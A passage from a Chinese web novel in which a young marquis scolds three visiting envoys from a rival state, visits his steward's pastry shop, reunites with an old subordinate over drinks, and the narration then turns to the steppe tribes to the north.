招手叫衙役们过来将这两人抬出去后,都头走到凌晨面前,小心翼翼的开口问道:“侯爷,怎么写?” “光天化日,调戏女子,被临颍侯制止。剩下的,按律法办。” “是。” 在得到了准确的回复后,都头并没有立刻离开,而是看了一眼怒视凌晨的徐央,又重新看向凌晨,用眼神询问他的意思—— 这个抓不? 凌晨冷笑一声,对这都头和声说道:“你去忙你的吧,这里没事了。” “是。” 待他们走后,凌晨又叫护庄队员们都出去,解二反手就将门关上了,只不过是从里面关上的。 做完这一切后,他就双手交插在身前,站在窗边目光灼灼的盯着沈阅他们三个,眼神中的警告意味十分浓烈。 这里是大郑,而且还是汴京。 不管你是谁,不管你来自哪里,是龙给我盘着,是虎也给我卧好。 徐央显然是被凌晨刚才的“战场上技不如人,死了也是活该”的话给气昏了,直接咆哮了起来: “郑皇得国不正,天下谁人肯服?不要以为伪定一时就能高枕无忧了,汉末魏武何其雄哉?不也一样在赤壁折戟沉沙! 我大唐鱼米之乡、繁荣富庶,君王明达、臣属齐心,将士争先。想吃了我们,也得看看自己有没有那副好牙口! 更何况,西有孟蜀,北方放眼望去全是未靖烟尘。凌晨,徽州军的仇,我们迟早会加倍奉还的!!” 凌晨举起手掌在面前挥了挥,十分嫌弃的说道:“你有病啊?能不能不要这么大声?刚才吃了蒜吧你?熏死我了!” 顿了顿后,他不屑的看着双眼都已经有些通红的徐央,看来上次王臣鹤的确是把徽州军给揍痛了,不然也不会让这小子如此情绪激动。 其实军马、物资、兵器,甚至是士兵的性命这些损失,都是可以补充的。战场上本就如此,哪有无伤通关的?作为武将世家的子弟,徐央不会不懂这些道理。 真正让他破防的,还是徽州军战无不胜、所向披靡的不败神话被打破了。那可是他们的骄傲,是多少人用性命换来的声威和荣耀,就这么被王臣鹤击的粉碎。 没有了徽州军的威慑力,甚至都不用大郑出兵南征,唐国内部的小山头们就会自发的开启复活赛和独立战争。 要是年纪大了的温茂哪天晚上睡着后再也没醒过来,那局面一定会更精彩。 琅琊郡公的盖世威名,是建立在无数马革裹尸的枯骨之上。想必很多徽州军的家属或者遗孀都去找徐央老爹要说法了吧~不然这小子也不会这么唐,在大郑的地盘上对大郑开服玩家开喷。 但,那又如何? 你不死,难道我死? 凌晨原本是想着让陈啸把这小子直接埋进召陵县的哪个田间地头当肥料的,但现在他改主意了,一定要让他好好活着回到江南。 他要让对方亲眼看到,剩下的另一半徽州军,是怎么被天下大势的车轮滚滚碾过,葬入历史的尘埃中的! 杀人谁不会? 老子要诛他的心!! “那你就好好睁大你的狗眼,仔仔细细看清楚。天下大势,合久必分、分久必合,当年蜀吴合力抵抗,最终还是三家归晋。今天的蜀唐也不会例外! 更何况唐国内部是什么情况,地方上又是什么情况,街头巷陌又是如何的民力枯竭、怨声载道,你们要比我清楚。在这里比谁声音大是没有用的,我给你个机会,来日,战场上自见分晓!” 炮轰完徐央后,凌晨又看向周襄和沈阅,也没把他们落下: “你们的对手不是我,也不是大郑皇帝,而是芸芸众生、天下百姓。经历了这么多年的征伐和战乱,现在的他们迫切的渴望得到一个安稳、和平的生存环境,这其中当然也包括江南的百姓。 神州必须统一,也必将统一!不会因为谁的个人意志而改变。你们都是人中俊杰,最好静下心来思考一下,掂量掂量自己或者自己背后的家族,挡不挡得住这汹涌民意!!” 说罢,他便弯腰提起椅子后面的疙瘩宝,在不理会三人,头也不回的往外走去。 解二连忙伸手打开门,等凌晨出去后,他回头看了一眼还伫立在空旷大堂中的三个公子哥后,露出了轻蔑的笑容,也抬腿跨出了门槛,“砰”的一声带上了门。 大堂内,徐央颓然的坐了下来,又怒又气。周襄用手指划拉着桌面,眉头紧锁。 沈阅望着已经关上的堂门,又缓缓将视线移向窗外的西市建筑和远处的木楼瓦屋,一双眸子在瞳孔中左右微动,脑海中不断重复着凌晨刚才的话语,最终深深的吸了一口气,重重的吐了出来。 凌晨说的是事实,也是历史一贯的规律。可身处其中,他们的内心实在接受不了这种观念和现实。 而且,由于受到忠君思想的长久熏陶,他们也不允许自己接受这种观念。 二五仔是没有出路的,在水晶没有爆炸之前,很少会有人呆在泉水里不出来清兵,都会尽力去做最后的尝试。(当然,收到国服第一瑶电子转账的另当别论) 沈阅他们打的还是晋级赛,胜利方的奖品,是整个天下。 —— 伸手逗着笼子里的疙瘩宝,悠哉悠哉的在街上晃荡,凌晨的心情格外舒畅,今天又装了波大的! 一想到刚才那三个小子被自己用长辈的口吻训成了孙子,脸上浮现出既想争辩、又不知从何说起的精彩表情,他就一下乐出了声。 “公子,刚才那三个都是什么人啊?” 一旁的解二刚刚明明感觉到自家侯爷跟那三人剑拔弩张,仿佛下一刻就要动手了。可是一出门侯爷就将此事忘在了脑后,一点也没有受到影响,还有兴趣逗他的癞蛤蟆。 “唐国象牙塔里的公子哥。” 听完凌晨的回答后,解二双眼顿时瞪大:“你是说,他们就是秦王上次说的唐国使团里的人?” “嗯,对呀,三个小年轻还挺有趣儿。” 解二闻言不禁偷偷撇了撇嘴,说得好像你多大一样,你们看起来也就一般大好吧…… “我记得秦王上次说,他们之中有一个叫沈什么的,写诗很厉害,侯爷你跟他们比诗了吗?” 凌晨闻言一愣,在人潮熙攘的街上停下了脚步,转身看向解二,在他身上上下打量了一遍后,斜视着问道:“老二,你是不是看不起我?” 解二懵了,疑惑的问道:“没…没有啊!侯爷,你干嘛这样说?” 凌晨不满的看着他说道:“李白这个人你听说过没有?” “芸娘近些日子在教孩子识字,我也在旁边陪着,所以听到过一些,这人好像写诗很厉害。”解二微微缩了缩脖子,老老实实的回答道。 “嗯,没错,”凌晨闭着眼点头说道: “可他为了避我锋芒,直接选择比我早出生几百年。连他都要笨鸟先飞,沈阅这个初生牛犊配跟我谈文章吗?他够资格吗?我是随便谁都可以来跟我比诗的人吗?” “……” 解二被凌晨的话给绕晕了,过了好半天才反应过来,弱弱的小声问道: “侯爷,你不会是……比不过他吧?” 凌晨“哦”了一声,仰天长叹,又面色惆怅的“啧”了一声: “唉!最近平云跟我说印刷坊的产量提不上去,急需一批倒模烧字的劳工。听说待遇丰厚,而且每天只需要干够六个时辰就能回家躺在床上睡大觉。 时间紧任务重,他们已经分成两拨人,昼夜交替、灯火通明的在夜里干了。就是…他说愿意在夜里干的人比较少,因为又困又乏,还得卖力气。 不过我看你就很有力气嘛~你瞧瞧你这健壮的胳膊和大腿,而且你这小肚子都多圆了?该减减肥了。明天你就去易阳侯府报到吧~你放心,平云跟你也是老熟人了,不会卡你入职的。” 说罢,凌晨便哼了一声,转过身头也不回的向前走去。 解二猛的反应过来!侯爷这是要让自己上夜班、顺带还高强度劳动啊! 这不行呀!自己最近本来就有点身体不济,惹的芸娘怏怏不快,再熬夜干活那不彻底废了么!! 一念及此,他连忙大喊着追了上去: “侯爷!侯爷!你听我说,刚才我好像鬼上身了,你听我给你解释啊……” 第144章 蜜芸记 汴梁五月正繁华。 行路见双娃。 遍体一身明锦,遮尘满面乌纱。 车鞍似水,留伊无故,去落谁家。 争奈无人说兴,新来憔悴因他。 其实,如果不去考虑现实因素和未来局势演变,眼下的日子真的已经非常美好了。 老百姓们不用服徭役,家家户户都有存粮,黄昏后每座屋顶都会飘起炊烟,柴火和饭香弥漫在幽静的小巷;繁华的集市上,南来北往的客商们交换货物、兜售买卖,城中的游人停在摊贩前、进入店铺内,精挑细选、说笑争价,一片太平景象。 如果能一直这样,建隆盛世或许可以抚平一个世纪以来由战乱、疾病、天灾所引发和造成的醒目伤疤。 可惜,蜀未平、唐未灭,北方迟早还会有大的军事行动,到时候肯定又是朔气传金柝,寒光照铁衣。 穷兵黩武,好大喜功,是不会长久的。 只有敬畏战争,用尽一切方法去避免战争,才能顺应普通人的现实需求,也就是所谓的得人心。 也只有这样,才能在冲突避无可避的时候,振臂一呼、从者云集,以绝对正义的至高立场,毫不留情的将对手彻底、坚决、完全消灭之! 不用考虑后果和影响,就算有,也只会是有利的。 几千年来孵化出的思想体系挺有意思的,讲究忍让,无论在集体还是在个人身上都体现的淋漓尽致。 先退一步,再退一步,既有礼貌的恭俭让,也藏着麻痹对手的小心机,以及对美好事物的留恋不舍。 如果就此打住,还则罢了。吃点亏就吃点吧,虽然日子并不总是顺心,但还得接着过不是? 可如果对手还要继续,那不好意思,枯燥的生活总要来点不一样的调味剂,平静的水面总要荡出几圈涟漪,我们一起上汴京时报吧~ 谁没事会喜欢提着刀去砍人呢?不是每个街头都叫铜锣湾,我们大多数人也不是陈浩南,而是那些出场不到两秒就被剁翻的小弟。 但即使如此,少年人的锐气依旧值得歌颂。我睁开眼睛就是白天,闭上双目就是黑夜,我不是主角,谁是主角? 在艳阳高照的晴日,树下撸猫;在狂风暴雨的窗前,微笑欣赏;音乐听到尽兴处,放声而歌;电影看到逗趣处,拍腿大笑;看见美味的食物,全款拿下;遇到心仪的女孩,大胆去追。 我生不为陪嫁来,岂能庸碌活一回? 惊雷震颤耳膜,电光划破黑霾,我听见我潜龙在渊! 解二前半生庸庸碌碌了三十年,虽然他只是个种地的,父上大人也没有给他留下多少遗产田资。但在闲暇之余,他仍然觉得自己的生活不该如此平淡,所以进入了“拿人钱财、替人消灾”的行业,成为了混的人。 他以前确实是个人嫌狗厌的地痞流氓,但同样也是一位不甘现状、敢于和命运的不公抗争到底的斗士。 只不过他的方法是掠夺性的弱肉强食,靠着牺牲其他老实百姓的生存利益来换取自己生活上的舒适和身体上的壮实。 这个行业风险还是挺大的,指不定哪天就被一个平时唯唯诺诺,大气都不敢出的庄稼汉突然暴起抹了脖子。 所以说,他应该给凌晨唱首歌。 “多幸运,在最美的年纪~ 遇见你,没有遗憾和可惜~ 抱紧你,用尽全部力气~ 不让幸福逃离~” 解二之所以会冒天下之大不韪,迟迟不肯成家,并不全是因为好人家的女孩都嫌弃他的工作性质和美名远扬。他自己的心里其实也憋着一口气,大有一种“匈奴未灭、何以家为”的意思。 人跟人能够相遇,是天赐的缘分。 但如果能够相随相伴,那指定是有什么东西互相牵引着彼此。他和凌晨能成为名义上的主仆,事实上的兄弟,同样也逃不过这个道理。 他们都有一种藏在心里燎燎的狂傲! 樊哙见到项羽时,并不因为自己粗布麻衣立在一群贵族之中而感到自惭形秽。解二有时候还真有点那股子味道,哪怕是见到韩登和文若,也丝毫没有紧张磕巴。 如今解二爷也是熬出头了,竟然在寸土寸金的汴京城东市坐拥一套二层木楼门面以及它后面的一整座二进小院。 蜜芸记。 外面摆着一些陶酒缸,上面的缸口用红布塞堵,有些摘去露出黄封纸,整整齐齐的沿着三层台阶摆放在两边。 旁边还摆放着一块木牌子,上面用毛笔歪歪斜斜写着“偷酒重罚!一经抓住,拖进巷子里,从巷头打到巷尾!!(巷子全长一百四十步)” 呃…… 怎么立这么个玩意? 就在凌晨立在门口,满脑袋问号之际,解二已经快步走上台阶,站在门口朝着店里高声喊叫道:“芸娘!芸娘!快出来,侯爷来了!!” 昨晚睡不着的青柠终于在早上沉沉睡去,闲的没事的凌晨就出来瞎逛了。先是唱歌被人打搅了兴致,又在异香楼巧遇了阿依姑娘,对三个愣头青进行了心理辅导。 下午闲的没事,就来关心下属的私人生活了。 说起来,凌晨还没见过解二的老婆呢!当初他们成亲时,自己好像是在外面跟傻鸟对线还是怎么来着,没能来参加,说起来也是一桩憾事。 今天可要好好瞧瞧。 知性大姐的气质,三十多的容貌,还生过一个女儿,正是风韵犹存的年纪。一张国泰民安的脸、一身干练却不失女人味的衣着,举手投足间,兼具市井妇女的泼辣和居家女人的娇柔。 老二也算是捡到宝了。 “贱妾见过侯爷~不知侯爷会来,没有提前出门迎接,侯爷莫怪~” 凌晨微笑着摆摆手,示意一旁的解二把他老婆扶起来: “芸姐严重了,我就是闲的没事在城里四处逛逛,突然想起来还没有见过你和孩子,所以过来说说话。老二与我名为主仆,实为兄弟,所以你也不用拘谨。” 芸娘直起身子,还是有些紧张的看向解二,虽然凌晨可以这样说,但她肯定不能真这样对待呐! 解二傻呵呵的笑着说道:“我不是早就跟你说过了吗,侯爷性子随和,很好相处的。这次也是来咱家看看,你快去弄些茶糕来,让侯爷尝尝你的拿手糕点。” 芸娘听罢也是眼中一亮,刚才她还有些手足无措,侯爷肯定是吃惯了山珍海味、过惯了锦衣玉食的,自己家的东西他还真不一定能看得上,正愁不知道该怎么招待贵客呢。 这死鬼的话倒是提醒了她,侯爷还没有吃过自己做的糕点呢,味道还是可以的,而且是她亲手做的,也显得出诚意和用心。 “呵呵~好好好~我这就去准备,烦请侯爷稍待~” “嗯嗯~” 凌晨背着手对芸娘点了点头,目送着她给请来的女工吩咐一声后,转入了店后小院,随即便背着手在店铺里好奇的打量起来。 店铺不是很大,但两旁的柜台和架子上摆满了各种花样、各种颜色的糕点。白色方块上点了糖汁红豆的、绿色圆坨上缀了核桃碎末的、垒成交错梯塔状的淡黄塔、模仿菏叶游鱼品相的等等等等~ 从卖相看,绝对是心灵手巧。闻起来也不浓郁,比较清淡,想来味道肯定也差不了。 柜台后站着两个年轻的绿萝女孩,其中一个笑容明媚,性格开朗,热情的对进店客人推荐介绍,帮忙挑选,用类似医馆称中药的那种小铁称拨量计算。 算好后交给另一个有些害羞的女孩,虽然她看起来有些拘束,但手中的动作却异常麻利,三两下就用红纸或者油纸将糕点包好,系好带子提起来交给客人。 凌晨看着她们做事时的专注熟练,内心不禁泛起一阵柔软。 人人有活干,有饭吃,有期盼和干劲。 真好。 这不正是将士们摧城拔寨、浴血奋战的理由么? “哎对了老二,门口摆的那个……偷酒重罚是怎么回事啊?” 看了一会后,凌晨感觉乏了,就走到门边的一个小木凳上坐下来休息,转头看向有些炎热的屋外街道问道。 提起这事,原本还心情不错的解二顿时就皱起了眉头,脸色看起来既生气又无奈。 “唉!别提了侯爷,那些都是芸娘趁着闲暇时酿的甜米酒,本来是想趁着天热,卖与路人和客商解渴的,却总被人趁着不注意偷拿。那么大的缸,也能在白日里悄无声息的滚走……” 凌晨疑惑的问道:“那…你跟侯大哥手底下的那些人说一声不就得了,你们不是一直一块喝酒呢么?他们……” “说了,老杨和老宋都派了差役和皂吏前来守着。一连守了一个月,就抓住了一个快八十岁的老酒鬼,一过来就揭开喝!被抓了也满不在乎,牙都掉光了,家里又没什么人,抓他还不够……唉!” 嘶…… “八十岁的老头就算了……” “是,我叫府衙的弟兄们把他放了,还给了些铜钱打发,让他以后要喝就进门来打,我不收他的银钱,只是不要拆新缸。” 凌晨点着头,老二这事办的不错。 哎? 那也不对呀! “应该还有别人吧?你刚才不是说缸都被人滚走了吗?那老头有这本事?他要真有这气力,可千万不能浪费喽,八十岁正是出去闯的年纪,城北河边修坝还缺人手呢!” 解二点着头说道:“自然不是他,他连走路都费劲,确实是另有其人。我怀疑是同行眼红,芸娘手艺巧,大概是影响到了他们的生意,所以在背地里使坏。” 说着,解二从一旁也随手扯来一张板凳,坐在凌晨身边指着外面台阶上的酒缸详细说了起来: “头一次被偷时,我就在酒缸上贴了条子,写上‘不许偷酒’,可没过几天又被偷了。于是我就直接写上‘偷酒重罚’,可还是不顶用,过了一段时间又少了一缸。 后来老杨给我出主意,白天不要贴,到了夜里贴上‘此为夜香’,必定不会有人再偷,我也觉得有些道理,只要第二天天一亮揭了不被客人看到就行。” “呃……那结果呢?” 解二如丧考妣,垂头丧气的重重叹了一口气:“第二天,缸被尿满了……” 凌晨皱眉张嘴看着解二,这尼玛…… “那你应该继续在尿缸上贴字,就写个‘甜酒畅饮’,让他大半夜费力搬回去,喝个饱才对。” “哈哈哈哈……” 听完凌晨的玩笑话后,解二无奈的摇头苦笑,无可奈何。 他平时都是跟着凌晨在侯府当差,没空看着店里。如果想要不被偷酒,就必须专门请个人来看着,夜里最好把酒缸搬回店里。 可这样一来,生意的成本会增加不说,那酒缸一个人搬运也有些吃力,起码得雇两个汉子每天搬进搬出,不够费劲的。 而且酒缸是陶的,还得轻拿轻放,一个不小心就会鸡飞蛋打。 直接摆在店里也不行,占地方不说,也无法直观的吸引到客人的消费兴趣,会少很多生意。 酿一缸味道不错的酒不容易啊,是需要付出时间和精力、还有金钱的,解二夫妇应该没少费心思。钱的损失其实还是其次,主要这事儿糟心哇! 再说了,临颍侯府的大管家被人这样欺负,传出去老子的面子往哪里搁? “你这么的,今晚你去找廷让,让他调一队护庄队过来,练习一下潜伏科目。告诉他,三班轮换,日夜不停,一定要把这贼给我揪出来! 抓住以后直接吊在铺子门口,挂上三天三夜后再丢给府衙按律法去处理。妈的……不不不!吊之前先准备个漏斗,插嘴里给我一缸接一缸的灌!这么爱偷酒,那就一次给丫喝个够!” 解二闻言后,用力点着头说道:“好!” 就在二人静坐闲聊之际,芸娘从后面掀起帘子走了出来,整理了一下自己的深蓝色袖筒后,笑着对凌晨说道:“侯爷,新蒸了一笼,已经端上去了,移步去屋里尝尝吧~” 凌晨听到后点着头站起身,解二立刻走到他前面,跑到门口和芸娘一左一右掀起帘子,凌晨也没做作,背着手悠哉悠哉的进入了后院。 第145章 遇故知 芸娘是个外柔内刚的女人,很有自己的主见。解二跟她成婚后,她并没有把地契和房契上的名字改成“解二”,也舍不得放弃蜜芸记的营生。 其实这也很好理解,解二可能会厌烦了她,也可能会抛弃她们娘俩,但房子跟土地不会。 只要这两样在她手中,即使第二段婚姻依旧失败,她跟自己的女儿也一样能够在这汴京城中生存下去。 收入来源就是蒸蒸日上、生意红火的蜜芸记。 好在解二以前虽然混蛋,但是现在似乎变得有点恋爱脑了,对她们娘俩挺上心的。同样作为男人,凌晨能清晰的感受到这一点。 毕竟不是所有人都有勇气和毅力干完三天城门口的快递分拣。 作为临颍侯府的外管家,想要巴结和贿赂解二的人只多不少。别看凌晨现在已经辞去殿帅之位退下来了,谁要真这么想,那只能说他还太年轻。 还是那句话,不是因为做了殿帅,才能掌管开封府的禁军。而是因为能够节制军队,才当得了这个殿帅。 凌晨的武艺何关是见识过的,而且凌晨曾经还是自己的老部下,有同袍之谊,双方关系极好,前段日子在庐州时还救了他的命。 大舅哥就更不用说了,凌晨是自己唯一的妹夫。一荣俱荣,一损俱损,自然是无条件支持。 换了别人上去,这俩开服元老级别的肌肉猛男会服气? 他俩不服,薛定能乐意?他只是好脾气,可不是没脾气。 况且凌晨才二十多岁,而且对陛下和太子都有救驾之功。无论是现在还是未来,无论他是不是殿帅,都是举足轻重的人物。 试图摧毁他的人从来没有放弃过努力,试图拉拢他的人也从来没有放弃过接触。 所以,蜜芸记的生意红火,不仅仅是因为芸娘的手艺确实不错,和解二是凌晨的窗口也有着密不可分的关系。 所以凌晨也觉得这样挺好的,至于说他们以后万一感情淡了闹僵了,以至于到了要和离的地步。那他也不会管,更不想管,感情的事是不能强行干预的。 但如果是他们自身出了问题,解二要是移情别恋,就滚回里阳镇自生自灭去;芸娘要是趴在解二身上吸血,学东平什么的,哼哼~ 正屋大堂里,凌晨坐在椅子上,一只手捏着桃酥糕点,另一只手端着清茶。 一口酥入口即化,不沾不腻,滋味顺滑;一口茶清香淡雅,唇齿留香,久久回甘。 爽!! 解二坐在一旁的椅子上,见到凌晨吃得香,他也高兴,嘴咧的都快要到耳根去了。他这辈子干过很多不要脸的事,但不要脸的贴着凌晨不放,真的是此生最正确的一次押注。 有时候,选择确实大于努力。 芸娘安静的立在一旁,一个看起来和小王臣鹤一样大的小女孩躲在她的身后,双手抓住母亲的裙摆,眼神怯怯的望着这个跑到自己家里来大吃大喝的陌生人,好奇的打量着。 “佩儿乖,快来给侯爷磕头。” 芸娘温柔的转身弯腰,拉着女儿的胳膊、推着她的背向前,来到了凌晨面前。 佩儿有些无助的看了一眼解二,解二朝着她露出和善的笑容,用下巴扬着指向凌晨说道:“佩儿乖,这是侯爷,是爹爹的主人,也是你的主人,听话,好好磕个头。” 凌晨喝下最后一口茶,将茶叶吐进杯子里后,这才擦着嘴看向眼前的小女孩。 她的眸子很清澈,小嘴微抿、用牙齿咬着下嘴唇,小心的跪了下来。身上的衣着也挺合身,应该是解二和芸娘请了裁缝量着做的。就是性格有点内向,可能跟悲惨的童年有关。 芸娘第一任丈夫噶的早,没爹的小女孩一定没少受到小伙伴们的欺负和嘲讽,听说爷爷奶奶也因为性别问题不喜欢她。 父亲一脉的叔伯兄弟但凡来找她跟她娘,那一定是来夺遗产的。所以大概率不会给她带好吃的或者好声好气的和她说话,久而久之,孩子就自闭了。 又是一个可怜的娃。 佩儿乖乖给凌晨磕了三个响头,凌晨心安理得的受完后,这才微笑着起身走上前,蹲下来伸手摸向她的脑袋。 谁知她却低头一躲,显然是习惯性造成的,可想而知平时在街边或者巷子里遭遇过什么。 唉…… 凌晨一把拉住她的胳膊,另一只手从怀里掏了半天,掏出一张纸来,就这么蹲在地上,三两下给她折了个千纸鹤。 佩儿的表情也从原本的害怕变成了好奇,直到凌晨将栩栩如生的千纸鹤塞到她的手里时,她才回过神来。 “拿去玩吧,我还会折很多东西,花啊鸟啊动物之类的,想学随时找我。” 佩儿双手握着千纸鹤犹豫了一下,还是把憋在口中的话咽了回去,小步跑到芸娘身后,又躲起来了。 芸娘无奈的对凌晨说道:“这孩子从小没怎么调教,不太懂规矩,侯爷切莫……” “孩子嘛,随着她的性子来就行了,我觉得她这样就挺好的。你们俩也别光顾着忙生计,有空了就带着她去动物园或者望云游乐场散散心,玩一玩,父母的陪伴对孩子的成长还是很重要的。” “动物园已经去过几回了,游乐场太远了,没时间去。等以后有机会吧~”解二在一旁解释着说道。 “老二以前浑,就缺个人管教着他,如今有了你,也是有了一份牵挂,你们夫妇把日子过好,比什么都重要。” 夫妻二人对视一眼,都笑了。 芸娘摸了摸佩儿的头发,目光中尽是母爱柔情:“当初先夫兄弟逼迫,想要将我们娘俩唯一的安身之本夺了去,是他仗义出手解救,又跑前跑后的忙碌,才把事情解决。 贱妾此生别无所求,也不图大富大贵,能给他再生个一儿半女,一家人平平安安的生活下去,就心满意足了。” 凌晨望向低头研究千纸鹤的佩儿,耳中听着芸娘的话语,突然发现了一件事。 现在自己身上背负的,已经不仅仅是青柠和女儿了。还有解二一家子、二婶和青樱、护庄队背后的五百户人家,以及其他许许多多的命运共同体。 以前总听人说:不是不想退,而是不能退。他一直不解其意,到了今天才算是彻底的懂了。 他要是倒下了,二婶、青樱、解二、芸娘甚至还有可怜的佩儿,下场一定会很惨。那些已经出现的、还未出现的对手,绝对不会心慈手软,不会放过他们之中的任何一个人!眼前来之不易的幸福生活会在顷刻间灰飞烟灭。 神佛争与,斗战未熄,何时了啊…… 尽管知道这样的道理,并且还有点厌倦,但命运的手已经推着凌晨向前了,不可能停留分毫。 既然如此,那就让那些不自量力、张牙舞爪、笑里藏刀的宝子们瞧瞧,什么叫作势如破竹的锋矛,什么叫作无可匹敌的霸道! “嫂子,我哥在家吗?” 哎? 卧槽这谁啊?! 凌晨正搁这儿热血澎湃呢,猛的被这一声突兀的高喊声给打断了,而且这道声音的听着好像有点熟悉…… 来人一袭县尉官服,护腕和腰带将身形束的英武不凡,腰间挎着一柄制式腰刀,正是自己在临颍县时的老部下——刘文越。 “侯爷!!” 当刘文越看到凌晨后,也是一脸的不可思议和惊喜万分,自从凌晨被冯延调往开封、抵御赵世中叛军后,二人见面的次数就越来越少了。 等到文训君临天下后,更是再无机会把酒言欢,今日在解二家偶然重逢,自然是喜上眉梢! “文越!你小子怎么来京城了?!” 凌晨同样非常高兴的迎了上去,左手抓住刘文越的胳膊,右手一拳捶在他的胸口上,捶的他捂着胸口弯腰无声哀嚎。这小子,演技还挺浮夸~ “崔大人给了我一千文钱,让我给咱们临颍县的官员、衙役、皂吏和县衙里的下人们买些小玩意犒劳一下,我实在算不过来,就想着来找嫂子买点糕点提回去算了。 刚才问了铺柜前的姑娘,说是二哥陪着客人在里院,我就进来寻他叙叙旧。没想到她们说的客人竟然是侯爷您啊!真是来得早不如来得巧~” “哈哈哈哈……坐坐坐。” 芸娘笑着说道:“那你们先聊,我去弄些酒菜来。” 刘文越连忙伸手想要劝阻,解二却提前出声拦下了他:“哎,让你嫂子去准备吧,今日好不容易侯爷来此,又恰逢你来,不喝两杯怎么行?” 凌晨也笑着点头说道:“老二说的对,咱们是该喝一杯啊文越!哎呀……一想起以前咱们在临颍县城的酒楼里白吃白拿、还叫人家姑娘弹曲儿的日子,我就觉得仿佛还在昨天。 转眼一晃,已经过去这么久了。你看看,当初青涩莽撞的小衙役,如今也成长为县尉大人了。” 凌晨的话说完,刘文越和解二同时仰天大笑起来:“哈哈哈哈哈~~” 金榜题名时、洞房花烛夜、久旱逢甘霖、他乡遇故知,此之谓人生四大幸事。 酒过三巡,菜过五味,凌晨已经有些微醺了。 酒不醉人,人自醉。 “老崔这小子怎么搞的,一千文钱能干什么?要搞就搞的轰轰烈烈,要么就不要弄嘛!县衙大大小小的人员加起来,没有一千也有八百,算下来一人只能分到一两文钱,那还犒劳个蛋!别再没让大家高兴,反而惹的所有人不快,那不是得不偿失了。” “唉……” 听完凌晨的吐槽以后,刘文越重重的叹了一口气后,这才说道: “崔大人也是没办法,先前周行舟撤去户部尚书之职后,朝廷重新设立盐铁、度支、户部三司,对老百姓的粮食免赋两年,却没有降低多少征收额度。 说是我们临颍县库银丰厚、陆河通达,又是开封府第三大县,理应为其他州县做出表率,旁的只收三一,咱们要收一半。 崔大人是什么性格侯爷也是清楚的,宁可紧着县衙,也不听县丞和幕僚的对过往客商加征银钱。虽说日子不受影响,但咱们的年节、米面、火耗、缎补却少了不少。 如今这拿一千文钱犒劳九百六十四人的挨骂差事,更是没人肯接,不是家中有事就是身体抱恙。我是大人老部下了,此时不出来为他奔走,还有何人会干呢?” 凌晨疑惑的问道:“那就不办这事了呗,又没过年过节的,瞎犒劳什么?” “这是咱们县的传统,当初还是侯爷您向冯公荐策定下的,说是激励积极性,您忘了?” “……” 有……有这事吗?? 凌晨的小白脸微微一红,也不知道是心虚的还是酒醉的,反正感觉有点烫。 既然如此……那没事了。 握着桌上的酒杯,捏着转了转后,凌晨突然想到一条妙计,于是立刻伸手抓住坐在自己左边的刘文越说道:“有了!” 听到凌晨这么说,刘文越和解二齐齐放下筷子,一起看向凌晨,想听听他怎么处理这种巧妇难为无米之炊的事情。 “你这样,也别买什么糕点了,提回去谁来吃谁在一旁看啊?你回去后告诉县衙里的人们,就说今年的犒劳和往年不同,只需每人出两文钱,就可以参与抽奖。 然后,你给他们从一到九百多排好号码,写成纸条扔进一个箱子里,叫老崔在大庭广众之下亲自从箱子里随机抽出一个号码,这个人就可以得到一千文钱。” 刘文越张了张嘴,有些疑惑的问道:“那……那其他人呢?” 凌晨放开他的胳膊,直起身子拉远:“当然是等下次啊,自己运气不好怪谁?” 一旁的解二也忍不住思索着插起了话:“哎侯爷,九百多人……每人出两文钱,那应该是一千八九百文吧?被崔大人抽中的人能拿到一千文,那剩下的那八九百文呢?” “当然是经费啊!文越举办这场抽奖跑前跑后的不累啊?老崔公务繁忙还能来与下属同乐,他们不给得知县大人称二斤茶叶?抽奖的纸片和箱子不要钱啊?” 啊??? 刘文越和解二面面相觑,都从对方的眼中看到了震惊! 侯爷不愧是侯爷啊! 非但解决了钱少的问题,竟然还能从里面赚!!! 第146章 想你的风吹到了漠南 一怒而诸侯惧,安居则天下熄。 平定了晋阳府之后,大郑帝国停止了一切对外军事行动,开始以经济、文化、外交的方式与其他势力进行文明交流,暂时收起了锋利的爪牙,开始养精蓄锐。 下一次再睁眼,长江以南、长城以北的朋友们,就该考虑自己还有什么心愿未了了。 自古以来,农耕文明混乱的时期,同样也是游牧民族崛起的时机。 逐草四方,大漠苍茫。 从白山黑水的深山老林,到阿尔金山的千里戈壁,从冰天雪地的贝加尔湖,到阴山脚下的云白草青,养育了一代又一代的马背民族。 辽阔壮丽的草原,无边无垠的蓝天,纵蹄扬奔的骏马,醇厚香甜的奶茶。 在这里,没有勾心斗角、没有前途未卜,没有尔虞我诈,没有虚与委蛇。 只有强者为尊,不服就干! 从嬴政建立秦帝国、派遣蒙恬戍边、建造万里长城开始,游牧民族就已经在事实上成为了中华文明的重要组成部分,白登之围、汉匈战争、五胡乱华、鲜卑慕容,饮马渭水、澶渊之盟、大乾元哉、土木堡、八旗入关。 匈奴、鲜卑、柔然、突厥、回鹘、契丹、女真、蒙古,这些名字和历代汉人王朝永远的捆绑在了一起,在历史的长河中熠熠生辉。 它们与中原王朝相爱相杀,并且在漫长的几千年里互相学习、彼此融合,直至归为一家。 当铁木真立在斡难河畔,对着长生天闭目祷告,宣布自己成为成吉思汗之时,整个欧亚大陆都在为之颤抖!管你是什么皇帝还是国王,马刀之下,众生平等。 风从草原走过,吹散多少传说~~ 如今的草原,散布着六个超级部落,从西向东分别是高车、鬼方、敕勒、突厥、契丹和靺鞨。 鬼方、突厥和契丹已经在文训统一北方的战争中露过脸了,他们在中原的自媒体公司没开起来,因为本地的帮派老大文训不愿意。 不仅如此,三部还损失惨重,最惨的就是鬼方部,冲的最猛、死的最惨。开封城下一把火,全军覆没不说,还搭上了一位大汗。 按他们原本的实力来说,契丹是当前最强大的部落。但自从幽州入关以来,部落中的健壮男儿不断流失,在邺城绞肉机这场以万为单位的豪赌中更是所剩无几。 而且,由于他们用草原思维来对待农耕盟友,引起了排斥反应,被河北汉人贵族和平民百姓突然暴起,归路被阻、散兵被屠,要多惨有多惨。 要不是最后打着时间差快速穿过燕山山脉,差点就全部交代在这次南下了。 我们都知道,邻居这个东西是很不稳定的,有时候他人真的很好,有好吃的会分享给你、你有困难了也会搭把手,所以说“远亲不如近邻”嘛~ 可有时候,你的日子过的红火了,家里孩子太吵了,占用公共区域放鞋柜了,夫妻交流声音太大了等等等等,都会让他生出嫉妒和不满,对你心存怨念。 情不知所起,恨同样也不知所起,反正是起了。 当初草原六部会盟,轮值主席、契丹可汗耶律弧摆满牛肉干、马奶酒,安排年轻貌美的姑娘们起舞助兴,邀请大家一起南下干一番大事业。 